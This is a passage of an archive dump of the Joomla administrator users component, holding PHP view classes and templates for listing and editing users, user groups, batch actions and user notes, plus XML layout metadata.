							<span class="icon-publish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_USERS_COUNT_ENABLED_USERS'); ?>">
								<span class="element-invisible"><?php echo JText::_('COM_USERS_COUNT_ENABLED_USERS'); ?></span>
							</span>
						</th>
						<th width="1%" class="nowrap center">
							<span class="icon-unpublish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_USERS_COUNT_DISABLED_USERS'); ?>">
								<span class="element-invisible"><?php echo JText::_('COM_USERS_COUNT_DISABLED_USERS'); ?></span>
							</span>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$canCreate = $user->authorise('core.create', 'com_users');
					$canEdit   = $user->authorise('core.edit', 'com_users');

					// If this group is super admin and this user is not super admin, $canEdit is false
					if (!$user->authorise('core.admin') && JAccess::checkGroup($item->id, 'core.admin'))
					{
						$canEdit = false;
					}
					$canChange = $user->authorise('core.edit.state', 'com_users');
				?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center" data-usercount="<?php echo $item->user_count; ?>">
							<?php if ($canEdit) : ?>
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							<?php endif; ?>
						</td>
						<td>
							<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level + 1)); ?>
							<?php if ($canEdit) : ?>
							<a href="<?php echo JRoute::_('index.php?option=com_users&task=group.edit&id=' . $item->id); ?>">
								<?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<?php echo $this->escape($item->title); ?>
							<?php endif; ?>
							<?php if ($debugGroups) : ?>
								<div class="small"><a href="<?php echo JRoute::_('index.php?option=com_users&view=debuggroup&group_id=' . (int) $item->id); ?>">
								<?php echo JText::_('COM_USERS_DEBUG_GROUP'); ?></a></div>
							<?php endif; ?>
						</td>
						<td class="center btns">
							<a class="badge <?php if ($item->count_enabled > 0) echo 'badge-success'; ?>" href="<?php echo JRoute::_('index.php?option=com_users&view=users&filter[group_id]=' . (int) $item->id . '&filter[state]=0'); ?>">
								<?php echo $item->count_enabled; ?></a>
						</td>
						<td class="center btns">
							<a class="badge <?php if ($item->count_disabled > 0) echo 'badge-important'; ?>" href="<?php echo JRoute::_('index.php?option=com_users&view=users&filter[group_id]=' . (int) $item->id . '&filter[state]=1'); ?>">
								<?php echo $item->count_disabled; ?></a>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_users/views/groups/tmpl/default.xml000060400000000312152455305320014335 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_GROUPS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_GROUPS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/group/tmpl/edit.xml000060400000000302152455305320013452 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_GROUP_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_GROUP_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/group/tmpl/edit.php000060400000003034152455305320013446 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'group.cancel' || document.formvalidator.isValid(document.getElementById('group-form')))
		{
			Joomla.submitform(task, document.getElementById('group-form'));
		}
	};
");
?>

<form action="<?php echo JRoute::_('index.php?option=com_users&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="group-form" class="form-validate form-horizontal">
	<fieldset>
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('COM_USERS_USERGROUP_DETAILS')); ?>
			<?php echo $this->form->renderField('title'); ?>
			<?php echo $this->form->renderField('parent_id'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php $this->ignore_fieldsets = array('group_details'); ?>
		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>
		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</fieldset>

	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_users/views/group/view.html.php000060400000004100152455305320013455 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a user group.
 *
 * @since  1.6
 */
class UsersViewGroup extends JViewLegacy
{
	protected $form;

	/**
	 * The item data.
	 *
	 * @var   object
	 * @since 1.6
	 */
	protected $item;

	/**
	 * The model state.
	 *
	 * @var   JObject
	 * @since 1.6
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->state = $this->get('State');
		$this->item  = $this->get('Item');
		$this->form  = $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$isNew = ($this->item->id == 0);
		$canDo = JHelperContent::getActions('com_users');

		JToolbarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_GROUP_TITLE' : 'COM_USERS_VIEW_EDIT_GROUP_TITLE'), 'users groups-add');

		if ($canDo->get('core.edit') || $canDo->get('core.create'))
		{
			JToolbarHelper::apply('group.apply');
			JToolbarHelper::save('group.save');
		}

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::save2new('group.save2new');
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('group.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('group.cancel');
		}
		else
		{
			JToolbarHelper::cancel('group.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_USERS_GROUPS_EDIT');
	}
}
com_users/views/users/view.html.php000060400000010630152455305320013467 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of users.
 *
 * @since  1.6
 */
class UsersViewUsers extends JViewLegacy
{
	/**
	 * The item data.
	 *
	 * @var   object
	 * @since 1.6
	 */
	protected $items;

	/**
	 * The pagination object.
	 *
	 * @var   JPagination
	 * @since 1.6
	 */
	protected $pagination;

	/**
	 * The model state.
	 *
	 * @var   JObject
	 * @since 1.6
	 */
	protected $state;

	/**
	 * A JForm instance with filter fields.
	 *
	 * @var    JForm
	 * @since  3.6.3
	 */
	public $filterForm;

	/**
	 * An array with active filters.
	 *
	 * @var    array
	 * @since  3.6.3
	 */
	public $activeFilters;

	/**
	 * An ACL object to verify user rights.
	 *
	 * @var    JObject
	 * @since  3.6.3
	 */
	protected $canDo;

	/**
	 * An instance of JDatabaseDriver.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.6.3
	 */
	protected $db;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->canDo         = JHelperContent::getActions('com_users');
		$this->db            = JFactory::getDbo();

		UsersHelper::addSubmenu('users');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = $this->canDo;
		$user  = JFactory::getUser();

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		JToolbarHelper::title(JText::_('COM_USERS_VIEW_USERS_TITLE'), 'users user');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('user.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('user.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::publish('users.activate', 'COM_USERS_TOOLBAR_ACTIVATE', true);
			JToolbarHelper::unpublish('users.block', 'COM_USERS_TOOLBAR_BLOCK', true);
			JToolbarHelper::custom('users.unblock', 'unblock.png', 'unblock_f2.png', 'COM_USERS_TOOLBAR_UNBLOCK', true);
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'users.delete', 'JTOOLBAR_DELETE');
			JToolbarHelper::divider();
		}

		// Add a batch button
		if ($user->authorise('core.create', 'com_users')
			&& $user->authorise('core.edit', 'com_users')
			&& $user->authorise('core.edit.state', 'com_users'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_users');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_USERS_USER_MANAGER');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.name'          => JText::_('COM_USERS_HEADING_NAME'),
			'a.username'      => JText::_('JGLOBAL_USERNAME'),
			'a.block'         => JText::_('COM_USERS_HEADING_ENABLED'),
			'a.activation'    => JText::_('COM_USERS_HEADING_ACTIVATED'),
			'a.email'         => JText::_('JGLOBAL_EMAIL'),
			'a.lastvisitDate' => JText::_('COM_USERS_HEADING_LAST_VISIT_DATE'),
			'a.registerDate'  => JText::_('COM_USERS_HEADING_REGISTRATION_DATE'),
			'a.id'            => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_users/views/users/tmpl/modal.php000060400000012213152455305320013621 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.multiselect');

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$input           = JFactory::getApplication()->input;
$field           = $input->getCmd('field');
$listOrder       = $this->escape($this->state->get('list.ordering'));
$listDirn        = $this->escape($this->state->get('list.direction'));
$enabledStates   = array(0 => 'icon-publish', 1 => 'icon-unpublish');
$activatedStates = array(0 => 'icon-publish', 1 => 'icon-unpublish');
$userRequired    = (int) $input->get('required', 0, 'int');

/**
 * Mootools compatibility
 *
 * There is an extra option passed in the URL for the iframe &ismoo=0 for the bootstraped field.
 * By default the value will be 1 or defaults to mootools behaviour using function jSelectUser()
 *
 * This should be removed when mootools won't be shipped by Joomla.
 */
$isMoo = $input->getInt('ismoo', 1);

if ($isMoo)
{
	$onClick = "window.parent.jSelectUser(this);window.parent.jQuery('.modal.in').modal('hide');";
}

?>
<div class="container-popup">
	<form action="<?php echo JRoute::_('index.php?option=com_users&view=users&layout=modal&tmpl=component&groups=' . $input->get('groups', '', 'BASE64') . '&excluded=' . $input->get('excluded', '', 'BASE64')); ?>" method="post" name="adminForm" id="adminForm">
		<?php if (!$userRequired) : ?>
		<div class="pull-left">
			<button type="button" class="btn button-select" data-user-value="0" data-user-name="<?php echo $this->escape(JText::_('JLIB_FORM_SELECT_USER')); ?>"
				data-user-field="<?php echo $this->escape($field); ?>" <?php if ($isMoo) : ?>value="" onclick="window.parent.jSelectUser(this)"<?php endif; ?>><?php echo JText::_('JOPTION_NO_USER'); ?></button>&nbsp;
		</div>
		<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
		</div>
		<?php else : ?>
		<table class="table table-striped table-condensed">
			<thead>
				<tr>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_NAME', 'a.name', $listDirn, $listOrder); ?>
					</th>
					<th width="25%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_USERNAME', 'a.username', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ENABLED', 'a.block', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ACTIVATED', 'a.activation', $listDirn, $listOrder); ?>
					</th>
					<th width="25%" class="nowrap">
						<?php echo JText::_('COM_USERS_HEADING_GROUPS'); ?>
					</th>
					<th width="1%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="6">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php $i = 0; ?>
				<?php foreach ($this->items as $item) : ?>
					<tr class="row<?php echo $i % 2; ?>">
						<td>
							<a class="pointer button-select" href="#" data-user-value="<?php echo $item->id; ?>" data-user-name="<?php echo $this->escape($item->name); ?>"
								data-user-field="<?php echo $this->escape($field); ?>" <?php if ($isMoo) : ?>onclick="<?php echo $onClick; ?>"<?php endif; ?>>
								<?php echo $this->escape($item->name); ?>
							</a>
						</td>
						<td>
							<?php echo $this->escape($item->username); ?>
						</td>
						<td class="center">
							<span class="<?php echo $enabledStates[(int) $this->escape($item->block)]; ?>"></span>
						</td>
						<td class="center">
							<span class="<?php echo $activatedStates[(empty($item->activation) ? 0 : 1)]; ?>"></span>
						</td>
						<td>
							<?php echo nl2br($item->group_names); ?>
						</td>
						<td>
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="field" value="<?php echo $this->escape($field); ?>" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="required" value="<?php echo $userRequired; ?>" />
		<input type="hidden" name="ismoo" value="<?php echo $isMoo; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/users/tmpl/default_batch_body.php000060400000003334152455305320016333 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

// Create the copy/move options.
$options = array(
	JHtml::_('select.option', 'add', JText::_('COM_USERS_BATCH_ADD')),
	JHtml::_('select.option', 'del', JText::_('COM_USERS_BATCH_DELETE')),
	JHtml::_('select.option', 'set', JText::_('COM_USERS_BATCH_SET'))
);

// Create the reset password options.
$resetOptions = array(
	JHtml::_('select.option', '', JText::_('COM_USERS_NO_ACTION')),
	JHtml::_('select.option', 'yes', JText::_('JYES')),
	JHtml::_('select.option', 'no', JText::_('JNO'))
);
JHtml::_('formbehavior.chosen', 'select');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="controls">
			<label id="batch-choose-action-lbl" class="control-label" for="batch-group-id">
				<?php echo JText::_('COM_USERS_BATCH_GROUP'); ?>
			</label>
			<div id="batch-choose-action" class="combo controls">
				<div class="control-group">
					<select name="batch[group_id]" id="batch-group-id">
						<option value=""><?php echo JText::_('JSELECT'); ?></option>
						<?php echo JHtml::_('select.options', JHtml::_('user.groups')); ?>
					</select>
				</div>
			</div>
			<div class="control-group radio">
				<?php echo JHtml::_('select.radiolist', $options, 'batch[group_action]', '', 'value', 'text', 'add'); ?>
			</div>
		</div>
	</div>
	<label><?php echo JText::_('COM_USERS_REQUIRE_PASSWORD_RESET'); ?></label>
	<div class="control-group radio">
		<?php echo JHtml::_('select.radiolist', $resetOptions, 'batch[reset_id]', '', 'value', 'text', ''); ?>
	</div>
</div>
com_users/views/users/tmpl/default_batch_footer.php000060400000001121152455305320016664 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-group-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('user.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_users/views/users/tmpl/default.php000060400000016652152455305320014164 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$loggeduser = JFactory::getUser();
$debugUsers = $this->state->get('params')->get('debugUsers', 1);
?>
<form action="<?php echo JRoute::_('index.php?option=com_users&view=users'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif; ?>
		<?php
		// Search tools bar
		echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this));
		?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="userList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_NAME', 'a.name', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_USERNAME', 'a.username', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ENABLED', 'a.block', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ACTIVATED', 'a.activation', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap">
							<?php echo JText::_('COM_USERS_HEADING_GROUPS'); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_EMAIL', 'a.email', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_LAST_VISIT_DATE', 'a.lastvisitDate', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_REGISTRATION_DATE', 'a.registerDate', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="10">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$canEdit   = $this->canDo->get('core.edit');
					$canChange = $loggeduser->authorise('core.edit.state',	'com_users');

					// If this group is super admin and this user is not super admin, $canEdit is false
					if ((!$loggeduser->authorise('core.admin')) && JAccess::check($item->id, 'core.admin'))
					{
						$canEdit   = false;
						$canChange = false;
					}
				?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<?php if ($canEdit || $canChange) : ?>
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							<?php endif; ?>
						</td>
						<td>
							<div class="name break-word">
							<?php if ($canEdit) : ?>
								<a href="<?php echo JRoute::_('index.php?option=com_users&task=user.edit&id=' . (int) $item->id); ?>" title="<?php echo JText::sprintf('COM_USERS_EDIT_USER', $this->escape($item->name)); ?>">
									<?php echo $this->escape($item->name); ?></a>
							<?php else : ?>
								<?php echo $this->escape($item->name); ?>
							<?php endif; ?>
							</div>
							<div class="btn-group">
								<?php echo JHtml::_('users.filterNotes', $item->note_count, $item->id); ?>
								<?php echo JHtml::_('users.notes', $item->note_count, $item->id); ?>
								<?php echo JHtml::_('users.addNote', $item->id); ?>
							</div>
							<?php echo JHtml::_('users.notesModal', $item->note_count, $item->id); ?>
							<?php if ($item->requireReset == '1') : ?>
								<span class="label label-warning"><?php echo JText::_('COM_USERS_PASSWORD_RESET_REQUIRED'); ?></span>
							<?php endif; ?>
							<?php if ($debugUsers) : ?>
								<div class="small"><a href="<?php echo JRoute::_('index.php?option=com_users&view=debuguser&user_id=' . (int) $item->id); ?>">
								<?php echo JText::_('COM_USERS_DEBUG_USER'); ?></a></div>
							<?php endif; ?>
						</td>
						<td class="break-word">
							<?php echo $this->escape($item->username); ?>
						</td>
						<td class="center">
							<?php
							$self = $loggeduser->id == $item->id;

							if ($canChange) :
								echo JHtml::_('jgrid.state', JHtml::_('users.blockStates', $self), $item->block, $i, 'users.', !$self);
							else :
								echo JHtml::_('jgrid.state', JHtml::_('users.blockStates', $self), $item->block, $i, 'users.', false);
							endif; ?>
						</td>
						<td class="center hidden-phone">
							<?php
							$activated = empty( $item->activation) ? 0 : 1;
							echo JHtml::_('jgrid.state', JHtml::_('users.activateStates'), $activated, $i, 'users.', (boolean) $activated);
							?>
						</td>
						<td>
							<?php if (substr_count($item->group_names, "\n") > 1) : ?>
								<span class="hasTooltip" title="<?php echo JHtml::_('tooltipText', JText::_('COM_USERS_HEADING_GROUPS'), nl2br($item->group_names), 0); ?>"><?php echo JText::_('COM_USERS_USERS_MULTIPLE_GROUPS'); ?></span>
							<?php else : ?>
								<?php echo nl2br($item->group_names); ?>
							<?php endif; ?>
						</td>
						<td class="hidden-phone break-word hidden-tablet">
							<?php echo JStringPunycode::emailToUTF8($this->escape($item->email)); ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php if ($item->lastvisitDate != $this->db->getNullDate()) : ?>
								<?php echo JHtml::_('date', $item->lastvisitDate, JText::_('DATE_FORMAT_LC6')); ?>
							<?php else : ?>
								<?php echo JText::_('JNEVER'); ?>
							<?php endif; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo JHtml::_('date', $item->registerDate, JText::_('DATE_FORMAT_LC6')); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form if user is allowed ?>
			<?php if ($loggeduser->authorise('core.create', 'com_users')
				&& $loggeduser->authorise('core.edit', 'com_users')
				&& $loggeduser->authorise('core.edit.state', 'com_users')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_USERS_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_users/views/users/tmpl/default.xml000060400000000310152455305320014155 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USERS_USERS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_USERS_USERS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/notes/view.html.php000060400000007536152455305320013471 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * User notes list view
 *
 * @since  2.5
 */
class UsersViewNotes extends JViewLegacy
{
	/**
	 * A list of user note objects.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $items;

	/**
	 * The pagination object.
	 *
	 * @var    JPagination
	 * @since  2.5
	 */
	protected $pagination;

	/**
	 * The model state.
	 *
	 * @var    JObject
	 * @since  2.5
	 */
	protected $state;

	/**
	 * The model state.
	 *
	 * @var    JUser
	 * @since  2.5
	 */
	protected $user;

	/**
	 * Override the display method for the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Initialise view variables.
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->user          = $this->get('User');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		UsersHelper::addSubmenu('notes');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Get the component HTML helpers
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		// Turn parameters into registry objects
		foreach ($this->items as $item)
		{
			$item->cparams = new Registry($item->category_params);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();
		parent::display($tpl);
	}

	/**
	 * Display the toolbar.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_users', 'category', $this->state->get('filter.category_id'));

		JToolbarHelper::title(JText::_('COM_USERS_VIEW_NOTES_TITLE'), 'users user');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('note.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('note.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::publish('notes.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('notes.unpublish', 'JTOOLBAR_UNPUBLISH', true);

			JToolbarHelper::divider();
			JToolbarHelper::archiveList('notes.archive');
			JToolbarHelper::checkin('notes.checkin');
		}

		if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'notes.delete', 'JTOOLBAR_EMPTY_TRASH');
			JToolbarHelper::divider();
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('notes.trash');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_users');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_USERS_USER_NOTES');

		JHtmlSidebar::setAction('index.php?option=com_users&view=notes');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'u.name'        => JText::_('COM_USERS_USER_HEADING'),
